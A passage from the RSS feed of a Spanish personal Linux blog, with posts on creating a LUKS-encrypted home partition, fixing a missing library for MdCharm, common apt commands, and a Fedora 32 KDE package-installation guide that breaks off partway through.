&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Payload&lt;/span> &lt;span class="n">offset&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2056&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MK&lt;/span> &lt;span class="n">bits&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">256&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Al tratarse de un filesystem encriptado debemos mapearlo ya que no se puede leer directamente. En este ejemplo el sistema de ficheros lo mapeamos a CryptHome:&lt;/p>
&lt;p>`sudo cryptsetup luksOpen /dev/sde1 CryptHome&lt;/p>
&lt;ol start="4">
&lt;li>Formatear partición&lt;/li>
&lt;/ol>
&lt;p>&lt;code>sudo mkfs.ext3 /dev/mapper/CryptHome&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo tune2fs -i 0 -c 0 /dev/mapper/CryptHome&lt;/code>&lt;/p>
&lt;ol start="5">
&lt;li>Montar/desmontar volumen
Para montar el volumen a mano:&lt;/li>
&lt;/ol>
&lt;p>&lt;code>sudo mkdir /mnt/CryptHome&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo mount /dev/mapper/CryptHome /mnt/CryptHome&lt;/code>&lt;/p>
&lt;p>Y para desmontarlo:&lt;/p>
&lt;p>&lt;code>sudo umount /mnt/CryptHome&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo cryptsetup luksClose /dev/mapper/CryptHome&lt;/code>&lt;/p>
&lt;p>para montar la partición en un directorio (/home)&lt;/p>
&lt;p>&lt;code>sudo vim /etc/fstab&lt;/code>&lt;/p>
&lt;p>&lt;em>/dev/mapper/CryptHome /home ext4 rw 0 0&lt;/em>&lt;/p>
&lt;p>Esto es para que se monte al inicio del equipo y pida la password&lt;/p>
&lt;p>&lt;code>sudo vim /etc/crypttab&lt;/code>&lt;/p>
&lt;p>&lt;em>CryptHome /dev/sda6 none luks&lt;/em>&lt;/p></description></item><item><title/><link>https://www.procamora.com/p/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post " />&lt;p>Title: Problema al instalar Mdcharm en linux
Date: 2015-12-26 2:15
Modified: 2015-12-26 20:33
Category: Software
Tags: consola, mdcharm
Slug: mdcharmlinux
Summary: Al instalar Mdcharm en linux y ejecutarlo obtengo este mensaje.
Status: published&lt;/p>
&lt;p>Al instalar Mdcharm en linux y ejecutarlo obtengo este mensaje.&lt;/p>
&lt;p>&lt;code>$ mdcharm&lt;/code>&lt;/p>
&lt;p>&lt;em>mdcharm: error while loading shared libraries: libhunspell.so: cannot open shared object file: No such file or directory&lt;/em>&lt;/p>
&lt;p>se soluciona instalando estos paquetes&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo apt-get install libhunspell-1.3-0 libhunspell-dev
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Archivos</title><link>https://www.procamora.com/archives/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/archives/</guid><description/></item><item><title>autorun script linux systemd</title><link>https://www.procamora.com/p/autorun-script-linux-systemd/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/autorun-script-linux-systemd/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post autorun script linux systemd" />&lt;p>Title: uso de apt
Date: 2015-11-3 14:25
Modified: 2015-11-3 14:25
Category: Linux
Tags: linux, apt
Slug: comando_apt
Authors: procamora
Summary:&lt;/p>
&lt;h2 id="apt-get">APT-GET&lt;/h2>
&lt;p>######Instalar un paquete:
&lt;code>sudo apt-get install &amp;lt;paquete&amp;gt; &lt;/code>&lt;/p>
&lt;p>######Desinstalar un paquete:
&lt;code>sudo apt-get remove &amp;lt;paquete&amp;gt; &lt;/code>&lt;/p>
&lt;p>######Eliminar un paquete incluidos sus ficheros de configuración:
&lt;code>sudo apt-get purge &amp;lt;paquete&amp;gt; &lt;/code>&lt;/p>
&lt;p>######Eliminar de forma automática aquellos paquetes que no se estén utilizando:
&lt;code>sudo apt-get autoremove &lt;/code>&lt;/p>
&lt;p>######Actualizar un paquete a la última versión disponible en el repositorio:
&lt;code>sudo apt-get update &amp;lt;paquete&amp;gt;&lt;/code>&lt;/p>
&lt;p>######Actualizar el sistema. Actualizará todos los paquetes que dispongan de una versión superior dentro de la rama instalada de la distribución:
&lt;code>sudo apt-get upgrade&lt;/code>&lt;/p>
&lt;p>######Actualizar la distribución completa. Actualizará nuestro sistema a la siguiente versión disponible de la distribución:
&lt;code>sudo apt-get dist-upgrade&lt;/code>&lt;/p>
&lt;p>######Descargar únicamente las fuentes de un paquete para manipularlas de forma manual:
&lt;code>sudo apt-get source &amp;lt;paquete&amp;gt;&lt;/code>&lt;/p>
&lt;p>######Limpiar caches, paquetes descargados, etc:
&lt;code>sudo apt-get clean&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo apt-get autoclean&lt;/code>&lt;/p>
&lt;p>######Verificar que no tenemos ninguna dependencia incumplida:
&lt;code>sudo sudo apt-get check&lt;/code>&lt;/p>
&lt;h2 id="apt-cache">APT-CACHE&lt;/h2>
&lt;p>######Buscar un paquete en los repositorios, se puede especificar un patrón, expresión regular, el nombre exacto del paquete, etc:
&lt;code>sudo apt-cache search &amp;lt;paquete&amp;gt;&lt;/code>&lt;/p>
&lt;p>######Mostrar información sobre un paquete específico (nombre del paquete, versión, dependencias…):
&lt;code>sudo apt-cache showpkg &amp;lt;paquete&amp;gt;&lt;/code>&lt;/p>
&lt;p>######Mostrar información del paquete incluyendo la descripción, información del paquete como su sitio web, página de bugs…
&lt;code>sudo apt-cache show &amp;lt;paquete&amp;gt;&lt;/code>&lt;/p>
&lt;p>######Mostrar dependencias de un paquete:
&lt;code>sudo apt-cache depends &amp;lt;paquete&amp;gt;&lt;/code>&lt;/p>
&lt;p>######Mostrar los nombres de todos los paquetes instalados en el sistema:
&lt;code>sudo apt-cache pkgnames&lt;/code>&lt;/p></description></item><item><title>Books</title><link>https://www.procamora.com/categories/books/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/categories/books/</guid><description>&lt;img src="https://www.procamora.com/categories/books/cover.jpg" alt="Featured image of post Books" /></description></item><item><title>Buscar</title><link>https://www.procamora.com/search/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/search/</guid><description/></item><item><title>Cibersecurity</title><link>https://www.procamora.com/categories/cibersecurity/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/categories/cibersecurity/</guid><description>&lt;img src="https://www.procamora.com/categories/cibersecurity/cover.jpg" alt="Featured image of post Cibersecurity" /></description></item><item><title>Code</title><link>https://www.procamora.com/categories/code/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/categories/code/</guid><description>&lt;img src="https://www.procamora.com/categories/code/cover.webp" alt="Featured image of post Code" /></description></item><item><title>Conferences</title><link>https://www.procamora.com/categories/conferences/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/categories/conferences/</guid><description>&lt;img src="https://www.procamora.com/categories/conferences/cover.jpg" alt="Featured image of post Conferences" /></description></item><item><title>Openstack</title><link>https://www.procamora.com/categories/openstack/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/categories/openstack/</guid><description>&lt;img src="https://www.procamora.com/categories/openstack/cover.jpg" alt="Featured image of post Openstack" /></description></item><item><title>Primeros pasos Fedora 32 KDE Parte I</title><link>https://www.procamora.com/p/primeros-pasos-fedora-32-parte-i/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/primeros-pasos-fedora-32-parte-i/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Primeros pasos Fedora 32 KDE Parte I" />&lt;h1 id="introducción">Introducción&lt;/h1>
&lt;p>En esta primera parte pondré todos las librerías y programas que suelo instalar en Fedora 32, en la segunda parte haré una configuración del entorno de trabajo (fstab, crontab, .ssh, etc)&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >RPMFusion&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >Librerias basicas&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >Compilación&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Compresión&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark4" >Codecs&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark5" >DVD&amp;rsquo;s&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark6" >Programas basicos&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark7" >HP&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark8" >Insync&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark9" >Pandoc y Latex&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark10" >Spotify&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark11" >Atom&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark12" >Visual Studio Code&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark13" >Skype&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark14" >Teamviewer&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark15" >Dropbox&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark16" >Gitkraken&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark17" >Pycharm&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark18" >Telegram&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark19" >Eclipse&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark20" >Docker y Docker-Compose&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark21" >Google Chrome&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark22" >Google Music&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark23" >system-config-samba&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark24" >Drivers Nvidia&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark25" >Peek&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark26" >Sublime Text 3 y Sublime Merge&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark27" >OpenRazer y Polychromatic&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="actualización-inicial">Actualización inicial&lt;/h2>
&lt;p>Lo primero que hay que hacer es actualizar el sistema y lo reiniciamos, posiblemente haya una gran cantidad de paquetes a actualizar, junto con la actualización del kernel por lo que después es bueno hacer un reinicio del sistema.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf upgrade
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="eliminar-programas-no-necesarios">Eliminar programas no necesarios&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf remove dragon calligra-core
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark0">Añadir repositorio RPMFusion&lt;/h2>
&lt;p>Este repositorio es necesario para varios paquetes que instalaremos después (contiene programas importantes y paquetes nonfree).&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark1">Paquetes y librerías que mas uso&lt;/h2>
&lt;p>Conjunto de librerías y utilidades básicas, traducciones de programas a español, corrector ortográficos, etc.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y group install &lt;span class="s2">&amp;#34;Development Tools&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y group install &lt;span class="s2">&amp;#34;C Development Tools and Libraries&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install kde-i18n-Spanish mythes-es hyphen-es autocorr-es hunspell-es langpacks-es &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>aspell-es man-pages-es-extra kde-l10n-es android-tools expect flac-libs &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>fluid-soundfont-common encfs samba wine curl meld youtube-dl wget iftop trash-cli
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="java">Java&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install java-openjdk java-1.8.0-openjdk-javadoc java-1.8.0-openjdk-devel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark2">Herramientas básicas de compilación&lt;/h2>
&lt;p>Conjunto de librerías básicas de compilación&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install kernel-headers kernel-devel git make libxml2 libxml2-devel mercurial &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>cmake python-devel python3-devel gcc-c++ dkms openssl-devel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mark3">Compresión y descompresión&lt;/h1>
&lt;p>Conjunto de librerías básicas de compresión y descompresión&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install p7zip p7zip-plugins zip unzip unrar
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark4">Codecs&lt;/h2>
&lt;p>Conjunto de codecs necesarios para la reproducción de audio con código privado (mp3, etc)&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install gstreamer gstreamer1-libav gstreamer1-plugins-bad-free-extras &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer1-plugins-bad-freeworld gstreamer1-plugins-good-extras pavucontrol &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer-ffmpeg gstreamer-plugins-bad-free-extras alsa-firmware &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer-plugins-ugly ffmpeg ffmpeg-libs libmatroska xvidcore libva-vdpau-driver &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>libvdpau libvdpau-devel gstreamer1-vaapi gstreamer1-plugins-base-tools mencoder &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer1-plugins-ugly
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark5">Soporte para DVD&amp;rsquo;s&lt;/h2>
&lt;p>Conjunto de librerías necesarias para la reproducción de DVD&amp;rsquo;s&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install lsdvd libdvbpsi libdvdread libdvdnav
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark6">Programas básicos&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install vim yakuake libreoffice libreoffice-langpack-es &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gnome-disk-utility sqlitebrowser gimp vlc fritzing kdenlive frei0r-plugins &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>calibre picard chromaprint-tools arduino vokoscreen filezilla
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark7">Dispositivos HP (impresora)&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install hplip hplip-common libsane-hpaio hplip-gui
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mark8">Insync&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install -y https://d2t3ff60b2tol4.cloudfront.net/builds/insync-3.2.0.40833-fc30.x86_64.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mark9">Pandoc y Latex&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install pandoc texstudio texlive texlive texlive-latex texlive-xetex texlive-xetex-def &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>texlive-collection-latexrecommended texlive-collection-xetex texlive-collection-latex
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También serán necesarias un conjunto de librerías de Latex:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install texlive-matlab-prettifier texlive-apacite texlive-breakcites texlive-xpatch &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>texlive-multirow texlive-tikzpagenodes texlive-tikzmark texlive-pgfplots texlive-glossaries-spanish &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>texlive-anyfontsize texlive-framed texlive-mdframed texlive-todonotes texlive-glossaries &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>texlive-IEEEtran.noarch texlive-textpos
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark10">Spotify&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo&lt;span class="o">=&lt;/span>http://negativo17.org/repos/fedora-spotify.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install spotify-client
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark11">Atom&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;atom.x86_64.rpm&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://atom.io/download/rpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install &lt;span class="nv">$programa&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rm &lt;span class="nv">$programa&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark12">Visual Studio Code&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo sh -c &lt;span class="s1">&amp;#39;echo -e &amp;#34;[code]\nname=Visual Studio Code\nbaseurl=https://packages.microsoft.com/yumrepos/vscode\nenabled=1\ngpgcheck=1\ngpgkey=https://packages.microsoft.com/keys/microsoft.asc&amp;#34; &amp;gt; /etc/yum.repos.d/vscode.repo&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">dnf check-update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install code
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark13">Skype&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://go.skype.com/skypeforlinux-64.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark14">Teamviewer&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
